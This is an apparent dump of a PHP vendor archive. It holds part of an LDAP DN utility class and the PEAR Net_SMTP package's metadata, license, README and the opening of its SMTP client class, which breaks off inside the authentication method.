        $string = preg_replace_callback(
            "/\\\[0-9A-Fa-f]{2}/",
            function ($matches) {
                return chr(hexdec($matches[0]));
            },
            $string
        );
        return $string;
    }

    /**
    * Split an multivalued RDN value into an Array
    *
    * A RDN can contain multiple values, spearated by a plus sign.
    * This function returns each separate ocl=value pair of the RDN part.
    *
    * If no multivalued RDN is detected, an array containing only
    * the original rdn part is returned.
    *
    * For example, the multivalued RDN 'OU=Sales+CN=J. Smith' is exploded to:
    * <kbd>array([0] => 'OU=Sales', [1] => 'CN=J. Smith')</kbd>
    *
    * The method trys to be smart if it encounters unescaped "+" characters, but may fail,
    * so ensure escaped "+"es in attr names and attr values.
    *
    * [BUG] If you have a multivalued RDN with unescaped plus characters
    *       and there is a unescaped plus sign at the end of an value followed by an
    *       attribute name containing an unescaped plus, then you will get wrong splitting:
    *         $rdn = 'OU=Sales+C+N=J. Smith';
    *       returns:
    *         array('OU=Sales+C', 'N=J. Smith');
    *       The "C+" is treaten as value of the first pair instead as attr name of the second pair.
    *       To prevent this, escape correctly.
    *
    * @param string $rdn Part of an (multivalued) escaped RDN (eg. ou=foo OR ou=foo+cn=bar)
    *
    * @static
    * @return array Array with the components of the multivalued RDN or Error
    */
    public static function split_rdn_multival($rdn)
    {
        $rdns = preg_split('/(?<!\\\\)\+/', $rdn);
        $rdns = self::correct_dn_splitting($rdns, '+');
        return array_values($rdns);
    }

    /**
    * Splits an attribute=value syntax into an array
    *
    * If escaped delimeters are used, they are returned escaped as well.
    * The split will occur at the first unescaped delimeter character.
    * In case an invalid delimeter is given, no split will be performed and an
    * one element array gets returned.
    * Optional also filter-assertion delimeters can be considered (>, <, >=, <=, ~=).
    *
    * @param string  $attr      Attribute and Value Syntax ("foo=bar")
    * @param boolean $extended  If set to true, also filter-assertion delimeter will be matched
    * @param boolean $withDelim If set to true, the return array contains the delimeter at index 1, putting the value to index 2
    *
    * @return array Indexed array: 0=attribute name, 1=attribute value OR ($withDelim=true): 0=attr, 1=delimeter, 2=value
    */
    public static function split_attribute_string($attr, $extended=false, $withDelim=false)
    {
	if ($withDelim) $withDelim = PREG_SPLIT_DELIM_CAPTURE;

        if (!$extended) {
            return preg_split('/(?<!\\\\)(=)/', $attr, 2, $withDelim);
        } else {
            return preg_split('/(?<!\\\\)(>=|<=|>|<|~=|=)/', $attr, 2, $withDelim);
        }
    }

    /**
    * Corrects splitting of dn parts
    *
    * @param array $dn        Raw DN array
    * @param array $separator Separator that was used when splitting
    *
    * @return array Corrected array
    * @access protected
    */
    protected static function correct_dn_splitting($dn = array(), $separator = ',')
    {
        foreach ($dn as $key => $dn_value) {
            $dn_value = $dn[$key]; // refresh value (foreach caches!)
            // if the dn_value is not in attr=value format, then we had an
            // unescaped separator character inside the attr name or the value.
            // We assume, that it was the attribute value.
            // [TODO] To solve this, we might ask the schema. Keep in mind, that UTIL class
            //        must remain independent from the other classes or connections.
            if (!preg_match('/.+(?<!\\\\)=.+/', $dn_value)) {
                unset($dn[$key]);
                if (array_key_exists($key-1, $dn)) {
                    $dn[$key-1] = $dn[$key-1].$separator.$dn_value; // append to previous attr value
                } else {
                    $dn[$key+1] = $dn_value.$separator.$dn[$key+1]; // first element: prepend to next attr name
                }
            }
        }
        return array_values($dn);
    }
}

?>
PK
h�\Z�����"vendor/pear/net_smtp/composer.jsonnu�[���{
    "authors": [
        {
            "email": "jon@php.net",
            "name": "Jon Parise",
            "homepage": "https://www.indelible.org",
            "role": "Lead"
        },
        {
            "email": "chuck@horde.org",
            "name": "Chuck Hagenbuch",
            "role": "Lead"
        },
        {
            "email": "schengawegga@gmail.com",
            "name": "Armin Graefe",
            "role": "Lead"
        }
    ],
    "autoload": {
        "psr-0": {
            "Net": "./"
        }
    },
    "description": "An implementation of the SMTP protocol",
    "keywords": [
        "smtp",
        "mail",
        "email"
    ],
    "include-path": [
        "./"
    ],
    "license": "BSD-2-Clause",
    "name": "pear/net_smtp",
    "homepage": "https://pear.github.io/Net_SMTP/",
    "support": {
        "issues": "https://github.com/pear/Net_SMTP/issues",
        "source": "https://github.com/pear/Net_SMTP"
    },
    "type": "library",
    "require": {
        "php": ">=5.4.0",
        "pear/pear-core-minimal": "@stable",
        "pear/net_socket": "@stable"
    },
    "require-dev": {
        "phpunit/phpunit": "*"
    },
    "suggest": {
        "pear/auth_sasl": "Install optionally via your project's composer.json"
    }
}
PK
h�\����((vendor/pear/net_smtp/LICENSEnu�[���Copyright 2002-2017 Jon Parise and Chuck Hagenbuch.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution..

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
PK
h�\�SOܪ%�%vendor/pear/net_smtp/README.rstnu�[���======================
 The Net_SMTP Package
======================

--------------------
 User Documentation
--------------------

:Author:    Jon Parise
:Contact:   jon@php.net

.. contents:: Table of Contents
.. section-numbering::

Dependencies
============

The ``PEAR_Error`` Class
------------------------

The Net_SMTP package uses the `PEAR_Error`_ class for all of its `error
handling`_.

The ``Net_Socket`` Package
--------------------------

The Net_Socket_ package is used as the basis for all network communications.
Connection options can be specified via the `$socket_options` construction
parameter::

    $socket_options = array('ssl' => array('verify_peer_name' => false));
    $smtp = new Net_SMTP($host, null, null, false, 0, $socket_options);

**Note:** PHP 5.6 introduced `OpenSSL changes`_. Peer certificate verification
is now enabled by default. Although not recommended, `$socket_options` can be
used to disable peer verification (as shown above).

.. _OpenSSL changes: https://php.net/manual/en/migration56.openssl.php

The ``Auth_SASL`` Package
-------------------------

The `Auth_SASL`_ package is an optional dependency.  If it is available, the
Net_SMTP package will be able to support the DIGEST-MD5_ and CRAM-MD5_ SMTP
authentication methods.  Otherwise, only the LOGIN_ and PLAIN_ methods will
be available.

Error Handling
==============

All of the Net_SMTP class's public methods return a PEAR_Error_ object if an
error occurs.  The standard way to check for a PEAR_Error object is by using
`PEAR::isError()`_::

    if (PEAR::isError($error = $smtp->connect())) {
        die($error->getMessage());
    }

.. _PEAR::isError(): https://pear.php.net/manual/en/core.pear.pear.iserror.php

SMTP Authentication
===================

The Net_SMTP package supports the SMTP authentication standard (as defined
by RFC-2554_).  The Net_SMTP package supports the following authentication
methods, in order of preference:

.. _RFC-2554: https://www.ietf.org/rfc/rfc2554.txt

GSSAPI
------

The GSSAPI authentication method uses Kerberos 5 protocol (RFC-4120_).
Does not use user/password.
Requires Service Principal ``gssapi_principal`` parameter and
has an optional Credentials Cache ``gssapi_cname`` parameter.
Requires DNS and Key Distribution Center (KDC) setup.
It is considered the most secure method of SMTP authentication.

**Note:** The GSSAPI authentication method is only supported
if the krb5_ php extension is available.

.. _RFC-4120: https://tools.ietf.org/html/rfc4120
.. _krb5: https://pecl.php.net/package/krb5

DIGEST-MD5
----------

The DIGEST-MD5 authentication method uses `RSA Data Security Inc.`_'s MD5
Message Digest algorithm.  It is considered a more secure method of SMTP
authentication than PLAIN or LOGIN, while still vulnerable to MitM attacks
without TLS/SSL.

**Note:** The DIGEST-MD5 authentication method is only supported if the
AUTH_SASL_ package is available.

.. _RSA Data Security Inc.: https://www.rsasecurity.com/

CRAM-MD5
--------

The CRAM-MD5 authentication method has been superseded by the DIGEST-MD5_
method in terms of security.  It is provided here for compatibility with
older SMTP servers that may not support the newer DIGEST-MD5 algorithm.

**Note:** The CRAM-MD5 authentication method is only supported if the
AUTH_SASL_ package is available.

LOGIN
-----

The LOGIN authentication method encrypts the user's password using the
Base64_ encoding scheme.  Because decrypting a Base64-encoded string is
trivial, LOGIN is not considered a secure authentication method and should
be avoided.

.. _Base64: https://www.php.net/manual/en/function.base64-encode.php

PLAIN
-----

The PLAIN authentication method sends the user's password in plain text.
This method of authentication is not secure and should be avoided.

XOAUTH2
-------

The XOAUTH2 authentication method sends a username and an OAuth2 access token
as per `Gmail's SASL XOAUTH2 documentation`__.

.. __: https://developers.google.com/gmail/imap/xoauth2-protocol#smtp_protocol_exchange

Secure Connections
==================

If `secure socket transports`_ have been enabled in PHP, it is possible to
establish a secure connection to the remote SMTP server::

    $smtp = new Net_SMTP('ssl://mail.example.com', 465);

This example connects to ``mail.example.com`` on port 465 (a common SMTPS
port) using the ``ssl://`` transport.

TLS/SSL is enabled for authenticated connections by default (via the ``auth()``
method's ``$tls`` parameter), but the |STARTTLS|_ command can also be sent
manually using the ``starttls()`` method.

.. _secure socket transports: https://www.php.net/transports
.. |STARTTLS| replace:: ``STARTTLS``
.. _STARTTLS: https://tools.ietf.org/html/rfc3207

Sending Data
============

Message data is sent using the ``data()`` method.  The data can be supplied
as a single string or as an open file resource.

If a string is provided, it is passed through the `data quoting`_ system and
sent to the socket connection as a single block.  These operations are all
memory-based, so sending large messages may result in high memory usage.

If an open file resource is provided, the ``data()`` method will read the
message data from the file line-by-line.  Each chunk will be quoted and sent
to the socket connection individually, reducing the overall memory overhead of
this data sending operation.

Header data can be specified separately from message body data by passing it
as the optional second parameter to ``data()``.  This is especially useful
when an open file resource is being used to supply message data because it
allows header fields (like *Subject:*) to be built dynamically at runtime.

::

    $smtp->data($fp, "Subject: My Subject");

Data Quoting
============

By default, all outbound string data is quoted in accordance with SMTP
standards.  This means that all native Unix (``\n``) and Mac (``\r``) line
endings are converted to Internet-standard CRLF (``\r\n``) line endings.
Also, because the SMTP protocol uses a single leading period (``.``) to signal
an end to the message data, single leading periods in the original data
string are "doubled" (e.g. "``..``").

These string transformation can be expensive when large blocks of data are
involved.  For example, the Net_SMTP package is not aware of MIME parts (it
just sees the MIME message as one big string of characters), so it is not
able to skip non-text attachments when searching for characters that may
need to be quoted.

Because of this, it is possible to extend the Net_SMTP class in order to
implement your own custom quoting routine.  Just create a new class based on
the Net_SMTP class and reimplement the ``quotedata()`` method::

    require 'Net_SMTP.php';

    class Net_SMTP_custom extends Net_SMTP
    {
        function quotedata($data)
        {
            /* Perform custom data quoting */
        }
    }

Note that the ``$data`` parameter will be passed to the ``quotedata()``
function `by reference`_.  This means that you can operate directly on
``$data``.  It also the overhead of copying a large ``$data`` string to and
from the ``quotedata()`` method.

.. _by reference: https://www.php.net/manual/en/language.references.pass.php

Server Responses
================

The Net_SMTP package retains the server's last response for further
inspection.  The ``getResponse()`` method returns a 2-tuple (two element
array) containing the server's response code as an integer and the response's
arguments as a string.

Upon a successful connection, the server's greeting string is available via
the ``getGreeting()`` method.

Debugging
=========

The Net_SMTP package contains built-in debugging output routines (disabled by
default).  Debugging output must be explicitly enabled via the ``setDebug()``
method::

    $smtp->setDebug(true);

The debugging messages will be sent to the standard output stream by default.
If you need more control over the output, you can optionally install your own
debug handler.

::

    function debugHandler($smtp, $message)
    {
        echo "[$smtp->host] $message\n";
    }

    $smtp->setDebug(true, "debugHandler");


Examples
========

Basic Use
---------

The following script demonstrates how a simple email message can be sent
using the Net_SMTP package::

    require 'Net/SMTP.php';

    $host = 'mail.example.com';
    $from = 'user@example.com';
    $rcpt = array('recipient1@example.com', 'recipient2@example.com');
    $subj = "Subject: Test Message\n";
    $body = "Body Line 1\nBody Line 2";

    /* Create a new Net_SMTP object. */
    if (! ($smtp = new Net_SMTP($host))) {
        die("Unable to instantiate Net_SMTP object\n");
    }

    /* Connect to the SMTP server. */
    if (PEAR::isError($e = $smtp->connect())) {
        die($e->getMessage() . "\n");
    }

    /* Send the 'MAIL FROM:' SMTP command. */
    if (PEAR::isError($smtp->mailFrom($from))) {
        die("Unable to set sender to <$from>\n");
    }

    /* Address the message to each of the recipients. */
    foreach ($rcpt as $to) {
        if (PEAR::isError($res = $smtp->rcptTo($to))) {
            die("Unable to add recipient <$to>: " . $res->getMessage() . "\n");
        }
    }

    /* Set the body of the message. */
    if (PEAR::isError($smtp->data($subj . "\r\n" . $body))) {
        die("Unable to send data\n");
    }

    /* Disconnect from the SMTP server. */
    $smtp->disconnect();

.. _PEAR_Error: https://pear.php.net/manual/en/core.pear.pear-error.php
.. _Net_Socket: https://pear.php.net/package/Net_Socket
.. _Auth_SASL: https://pear.php.net/package/Auth_SASL

.. vim: tabstop=4 shiftwidth=4 softtabstop=4 expandtab textwidth=78 ft=rst:
PK
h�\	�(�{�{�!vendor/pear/net_smtp/Net/SMTP.phpnu�[���<?php
/** vim: set expandtab softtabstop=4 tabstop=4 shiftwidth=4: */
// +----------------------------------------------------------------------+
// | PHP Version 5 and 7                                                  |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2021 Jon Parise and Chuck Hagenbuch               |
// | All rights reserved.                                                 |
// |                                                                      |
// | Redistribution and use in source and binary forms, with or without   |
// | modification, are permitted provided that the following conditions   |
// | are met:                                                             |
// |                                                                      |
// | 1. Redistributions of source code must retain the above copyright    |
// |    notice, this list of conditions and the following disclaimer.     |
// |                                                                      |
// | 2. Redistributions in binary form must reproduce the above copyright |
// |    notice, this list of conditions and the following disclaimer in   |
// |    the documentation and/or other materials provided with the        |
// |    distribution.                                                     |
// |                                                                      |
// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS  |
// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT    |
// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS    |
// | FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE       |
// | COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, |
// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, |
// | BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;     |
// | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER     |
// | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT   |
// | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN    |
// | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE      |
// | POSSIBILITY OF SUCH DAMAGE.                                          |
// +----------------------------------------------------------------------+
// | Authors: Chuck Hagenbuch <chuck@horde.org>                           |
// |          Jon Parise <jon@php.net>                                    |
// |          Damian Alejandro Fernandez Sosa <damlists@cnba.uba.ar>      |
// +----------------------------------------------------------------------+

require_once 'PEAR.php';
require_once 'Net/Socket.php';

/**
 * Provides an implementation of the SMTP protocol using PEAR's
 * Net_Socket class.
 *
 * @package Net_SMTP
 * @author  Chuck Hagenbuch <chuck@horde.org>
 * @author  Jon Parise <jon@php.net>
 * @author  Damian Alejandro Fernandez Sosa <damlists@cnba.uba.ar>
 * @license http://opensource.org/licenses/bsd-license.php BSD-2-Clause
 *
 * @example basic.php A basic implementation of the Net_SMTP package.
 */
class Net_SMTP
{
    /**
     * The server to connect to.
     * @var string
     */
    public $host = 'localhost';

    /**
     * The port to connect to.
     * @var int
     */
    public $port = 25;

    /**
     * The value to give when sending EHLO or HELO.
     * @var string
     */
    public $localhost = 'localhost';

    /**
     * List of supported authentication methods, in preferential order.
     * @var array
     */
    public $auth_methods = array();

    /**
     * Use SMTP command pipelining (specified in RFC 2920) if the SMTP
     * server supports it.
     *
     * When pipeling is enabled, rcptTo(), mailFrom(), sendFrom(),
     * somlFrom() and samlFrom() do not wait for a response from the
     * SMTP server but return immediately.
     *
     * @var bool
     */
    public $pipelining = false;

    /**
     * Number of pipelined commands.
     * @var int
     */
    protected $pipelined_commands = 0;

    /**
     * Should debugging output be enabled?
     * @var boolean
     */
    protected $debug = false;

    /**
     * Debug output handler.
     * @var callback
     */
    protected $debug_handler = null;

    /**
     * The socket resource being used to connect to the SMTP server.
     * @var resource
     */
    protected $socket = null;

    /**
     * Array of socket options that will be passed to Net_Socket::connect().
     * @see stream_context_create()
     * @var array
     */
    protected $socket_options = null;

    /**
     * The socket I/O timeout value in seconds.
     * @var int
     */
    protected $timeout = 0;

    /**
     * The most recent server response code.
     * @var int
     */
    protected $code = -1;

    /**
     * The most recent server response arguments.
     * @var array
     */
    protected $arguments = array();

    /**
     * Stores the SMTP server's greeting string.
     * @var string
     */
    protected $greeting = null;

    /**
     * Stores detected features of the SMTP server.
     * @var array
     */
    protected $esmtp = array();

    /**
     * GSSAPI principal.
     * @var string
     */
    protected $gssapi_principal = null;

    /**
     * GSSAPI principal.
     * @var string
     */
    protected $gssapi_cname = null;

    /**
     * Instantiates a new Net_SMTP object, overriding any defaults
     * with parameters that are passed in.
     *
     * If you have SSL support in PHP, you can connect to a server
     * over SSL using an 'ssl://' prefix:
     *
     *   // 465 is a common smtps port.
     *   $smtp = new Net_SMTP('ssl://mail.host.com', 465);
     *   $smtp->connect();
     *
     * @param string  $host             The server to connect to.
     * @param integer $port             The port to connect to.
     * @param string  $localhost        The value to give when sending EHLO or HELO.
     * @param boolean $pipelining       Use SMTP command pipelining
     * @param integer $timeout          Socket I/O timeout in seconds.
     * @param array   $socket_options   Socket stream_context_create() options.
     * @param string  $gssapi_principal GSSAPI service principal name
     * @param string  $gssapi_cname     GSSAPI credentials cache
     *
     * @since 1.0
     */
    public function __construct($host = null, $port = null, $localhost = null,
        $pipelining = false, $timeout = 0, $socket_options = null,
        $gssapi_principal = null, $gssapi_cname = null
    ) {
        if (isset($host)) {
            $this->host = $host;
        }
        if (isset($port)) {
            $this->port = $port;
        }
        if (isset($localhost)) {
            $this->localhost = $localhost;
        }

        $this->pipelining       = $pipelining;
        $this->socket           = new Net_Socket();
        $this->socket_options   = $socket_options;
        $this->timeout          = $timeout;
        $this->gssapi_principal = $gssapi_principal;
        $this->gssapi_cname     = $gssapi_cname;

        /* If PHP krb5 extension is loaded, we enable GSSAPI method. */
        if (extension_loaded('krb5')) {
            $this->setAuthMethod('GSSAPI', array($this, 'authGSSAPI'));
        }

        /* Include the Auth_SASL package.  If the package is available, we
         * enable the authentication methods that depend upon it. */
        if (@include_once 'Auth/SASL.php') {
            $this->setAuthMethod('CRAM-MD5', array($this, 'authCramMD5'));
            $this->setAuthMethod('DIGEST-MD5', array($this, 'authDigestMD5'));
        }

        /* These standard authentication methods are always available. */
        $this->setAuthMethod('LOGIN', array($this, 'authLogin'), false);
        $this->setAuthMethod('PLAIN', array($this, 'authPlain'), false);
        $this->setAuthMethod('XOAUTH2', array($this, 'authXOAuth2'), false);
    }

    /**
     * Set the socket I/O timeout value in seconds plus microseconds.
     *
     * @param integer $seconds      Timeout value in seconds.
     * @param integer $microseconds Additional value in microseconds.
     *
     * @since 1.5.0
     */
    public function setTimeout($seconds, $microseconds = 0)
    {
        return $this->socket->setTimeout($seconds, $microseconds);
    }

    /**
     * Set the value of the debugging flag.
     *
     * @param boolean  $debug   New value for the debugging flag.
     * @param callback $handler Debug handler callback
     *
     * @since 1.1.0
     */
    public function setDebug($debug, $handler = null)
    {
        $this->debug         = $debug;
        $this->debug_handler = $handler;
    }

    /**
     * Write the given debug text to the current debug output handler.
     *
     * @param string $message Debug mesage text.
     *
     * @since 1.3.3
     */
    protected function debug($message)
    {
        if ($this->debug) {
            if ($this->debug_handler) {
                call_user_func_array(
                    $this->debug_handler, array(&$this, $message)
                );
            } else {
                echo "DEBUG: $message\n";
            }
        }
    }

    /**
     * Send the given string of data to the server.
     *
     * @param string $data The string of data to send.
     *
     * @return mixed The number of bytes that were actually written,
     *               or a PEAR_Error object on failure.
     *
     * @since 1.1.0
     */
    protected function send($data)
    {
        $this->debug("Send: $data");

        $result = $this->socket->write($data);
        if (!$result || PEAR::isError($result)) {
            $msg = $result ? $result->getMessage() : "unknown error";
            return PEAR::raiseError("Failed to write to socket: $msg");
        }

        return $result;
    }

    /**
     * Send a command to the server with an optional string of
     * arguments.  A carriage return / linefeed (CRLF) sequence will
     * be appended to each command string before it is sent to the
     * SMTP server - an error will be thrown if the command string
     * already contains any newline characters. Use send() for
     * commands that must contain newlines.
     *
     * @param string $command The SMTP command to send to the server.
     * @param string $args    A string of optional arguments to append
     *                        to the command.
     *
     * @return mixed The result of the send() call.
     *
     * @since 1.1.0
     */
    protected function put($command, $args = '')
    {
        if (!empty($args)) {
            $command .= ' ' . $args;
        }

        if (strcspn($command, "\r\n") !== strlen($command)) {
            return PEAR::raiseError('Commands cannot contain newlines');
        }

        return $this->send($command . "\r\n");
    }

    /**
     * Read a reply from the SMTP server.  The reply consists of a response
     * code and a response message.
     *
     * @param mixed $valid The set of valid response codes.  These
     *                     may be specified as an array of integer
     *                     values or as a single integer value.
     * @param bool  $later Do not parse the response now, but wait
     *                     until the last command in the pipelined
     *                     command group
     *
     * @return mixed True if the server returned a valid response code or
     *               a PEAR_Error object is an error condition is reached.
     *
     * @since 1.1.0
     *
     * @see getResponse
     */
    protected function parseResponse($valid, $later = false)
    {
        $this->code      = -1;
        $this->arguments = array();

        if ($later) {
            $this->pipelined_commands++;
            return true;
        }

        for ($i = 0; $i <= $this->pipelined_commands; $i++) {
            while ($line = $this->socket->readLine()) {
                $this->debug("Recv: $line");

                /* If we receive an empty line, the connection was closed. */
                if (empty($line)) {
                    $this->disconnect();
                    return PEAR::raiseError('Connection was closed');
                }

                /* Read the code and store the rest in the arguments array. */
                $code = substr($line, 0, 3);
                $this->arguments[] = trim(substr($line, 4));

                /* Check the syntax of the response code. */
                if (is_numeric($code)) {
                    $this->code = (int)$code;
                } else {
                    $this->code = -1;
                    break;
                }

                /* If this is not a multiline response, we're done. */
                if (substr($line, 3, 1) != '-') {
                    break;
                }
            }
        }

        $this->pipelined_commands = 0;

        /* Compare the server's response code with the valid code/codes. */
        if (is_int($valid) && ($this->code === $valid)) {
            return true;
        } elseif (is_array($valid) && in_array($this->code, $valid, true)) {
            return true;
        }

        return PEAR::raiseError('Invalid response code received from server', $this->code);
    }

    /**
     * Issue an SMTP command and verify its response.
     *
     * @param string $command The SMTP command string or data.
     * @param mixed  $valid   The set of valid response codes. These
     *                        may be specified as an array of integer
     *                        values or as a single integer value.
     *
     * @return mixed True on success or a PEAR_Error object on failure.
     *
     * @since 1.6.0
     */
    public function command($command, $valid)
    {
        if (PEAR::isError($error = $this->put($command))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse($valid))) {
            return $error;
        }

        return true;
    }

    /**
     * Return a 2-tuple containing the last response from the SMTP server.
     *
     * @return array A two-element array: the first element contains the
     *               response code as an integer and the second element
     *               contains the response's arguments as a string.
     *
     * @since 1.1.0
     */
    public function getResponse()
    {
        return array($this->code, join("\n", $this->arguments));
    }

    /**
     * Return the SMTP server's greeting string.
     *
     * @return string A string containing the greeting string, or null if
     *                a greeting has not been received.
     *
     * @since 1.3.3
     */
    public function getGreeting()
    {
        return $this->greeting;
    }

    /**
     * Attempt to connect to the SMTP server.
     *
     * @param int  $timeout    The timeout value (in seconds) for the
     *                         socket connection attempt.
     * @param bool $persistent Should a persistent socket connection
     *                         be used?
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.0
     */
    public function connect($timeout = null, $persistent = false)
    {
        $this->greeting = null;

        $result = $this->socket->connect(
            $this->host, $this->port, $persistent, $timeout, $this->socket_options
        );

        if (PEAR::isError($result)) {
            return PEAR::raiseError(
                'Failed to connect socket: ' . $result->getMessage()
            );
        }

        /*
         * Now that we're connected, reset the socket's timeout value for
         * future I/O operations.  This allows us to have different socket
         * timeout values for the initial connection (our $timeout parameter)
         * and all other socket operations.
         */
        if ($this->timeout > 0) {
            if (PEAR::isError($error = $this->setTimeout($this->timeout))) {
                return $error;
            }
        }

        if (PEAR::isError($error = $this->parseResponse(220))) {
            return $error;
        }

        /* Extract and store a copy of the server's greeting string. */
        list(, $this->greeting) = $this->getResponse();

        if (PEAR::isError($error = $this->negotiate())) {
            return $error;
        }

        return true;
    }

    /**
     * Attempt to disconnect from the SMTP server.
     *
     * @param bool $force Forces a disconnection of the socket even if
     *                    the QUIT command fails
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.0
     */
    public function disconnect($force = false)
    {
        /* parseResponse is only needed if put QUIT is successful */
        if (!PEAR::isError($error = $this->put('QUIT'))) {
            $error = $this->parseResponse(221);
        }

        /* disconnecting socket if there is no error on the QUIT
         * command or force disconnecting is requested */
        if (!PEAR::isError($error) || $force) {
            if (PEAR::isError($error_socket = $this->socket->disconnect())) {
                return PEAR::raiseError(
                    'Failed to disconnect socket: ' . $error_socket->getMessage()
                );
            }
        }

        if (PEAR::isError($error)) {
            return $error;
        }

        return true;
    }

    /**
     * Attempt to send the EHLO command and obtain a list of ESMTP
     * extensions available, and failing that just send HELO.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     *
     * @since 1.1.0
     */
    protected function negotiate()
    {
        if (PEAR::isError($error = $this->put('EHLO', $this->localhost))) {
            return $error;
        }

        if (PEAR::isError($this->parseResponse(250))) {
            /* If the EHLO failed, try the simpler HELO command. */
            if (PEAR::isError($error = $this->put('HELO', $this->localhost))) {
                return $error;
            }
            if (PEAR::isError($this->parseResponse(250))) {
                return PEAR::raiseError('HELO was not accepted', $this->code);
            }

            return true;
        }

        foreach ($this->arguments as $argument) {
            $verb      = strtok($argument, ' ');
            $len       = strlen($verb);
            $arguments = substr($argument, $len + 1, strlen($argument) - $len - 1);
            $this->esmtp[$verb] = $arguments;
        }

        if (!isset($this->esmtp['PIPELINING'])) {
            $this->pipelining = false;
        }

        return true;
    }

    /**
     * Returns the name of the best authentication method that the server
     * has advertised.
     *
     * @return mixed Returns a string containing the name of the best
     *               supported authentication method or a PEAR_Error object
     *               if a failure condition is encountered.
     * @since 1.1.0
     */
    protected function getBestAuthMethod()
    {
        $available_methods = explode(' ', $this->esmtp['AUTH']);

        foreach ($this->auth_methods as $method => $callback) {
            if (in_array($method, $available_methods)) {
                return $method;
            }
        }

        return PEAR::raiseError('No supported authentication methods');
    }
    
    /**
     * Establish STARTTLS Connection.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, true on success, or false if SSL/TLS
     *               isn't available.
     * @since 1.10.0
     */
    public function starttls()
    {
        /* We can only attempt a TLS connection if one has been requested,
         * we're running PHP 5.1.0 or later, have access to the OpenSSL
         * extension, are connected to an SMTP server which supports the
         * STARTTLS extension, and aren't already connected over a secure
         * (SSL) socket connection. */
        if (version_compare(PHP_VERSION, '5.1.0', '>=')
            && extension_loaded('openssl') && isset($this->esmtp['STARTTLS'])
            && strncasecmp($this->host, 'ssl://', 6) !== 0
            ) {
                /* Start the TLS connection attempt. */
                if (PEAR::isError($result = $this->put('STARTTLS'))) {
                    return $result;
                }
                if (PEAR::isError($result = $this->parseResponse(220))) {
                    return $result;
                }
                if (isset($this->socket_options['ssl']['crypto_method'])) {
                    $crypto_method = $this->socket_options['ssl']['crypto_method'];
                } else {
                    /* STREAM_CRYPTO_METHOD_TLS_ANY_CLIENT constant does not exist
                     * and STREAM_CRYPTO_METHOD_SSLv23_CLIENT constant is
                     * inconsistent across PHP versions. */
                    $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT
                    | @STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT
                    | @STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
                }
                if (PEAR::isError($result = $this->socket->enableCrypto(true, $crypto_method))) {
                    return $result;
                } elseif ($result !== true) {
                    return PEAR::raiseError('STARTTLS failed');
                }
                
                /* Send EHLO again to recieve the AUTH string from the
                 * SMTP server. */
                $this->negotiate();
            } else {
                return false;
            }
            
            return true;
    }
        
    /**
     * Attempt to do SMTP authentication.
     *
     * @param string $uid    The userid to authenticate as.
     * @param string $pwd    The password to authenticate with.
     * @param string $method The requested authentication method.  If none is
     *                       specified, the best supported method will be used.
     * @param bool   $tls    Flag indicating whether or not TLS should be attempted.
     * @param string $authz  An optional authorization identifier.  If specified, this
     *                       identifier will be used as the authorization proxy.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.0
     */
    public function auth($uid, $pwd , $method = '', $tls = true, $authz = '')
    {
        /* We can only attempt a TLS connection if one has been requested,
         * we're running PHP 5.1.0 or later, have access to the OpenSSL
         * extension, are connected to an SMTP server which supports the
         * STARTTLS extension, and aren't already connected over a secure
         * (SSL) socket connection. */
        if ($tls) {
            /* Start the TLS connection attempt. */
            if (PEAR::isError($starttls = $this->starttls())) {
                return $starttls;
            }
        }

        if (empty($this->esmtp['AUTH'])) {
            return PEAR::raiseError('SMTP server does not support authentication');
        }

        /* If no method has been specified, get the name of the best
         * supported method advertised by the SMTP server. */
        if (empty($method)) {
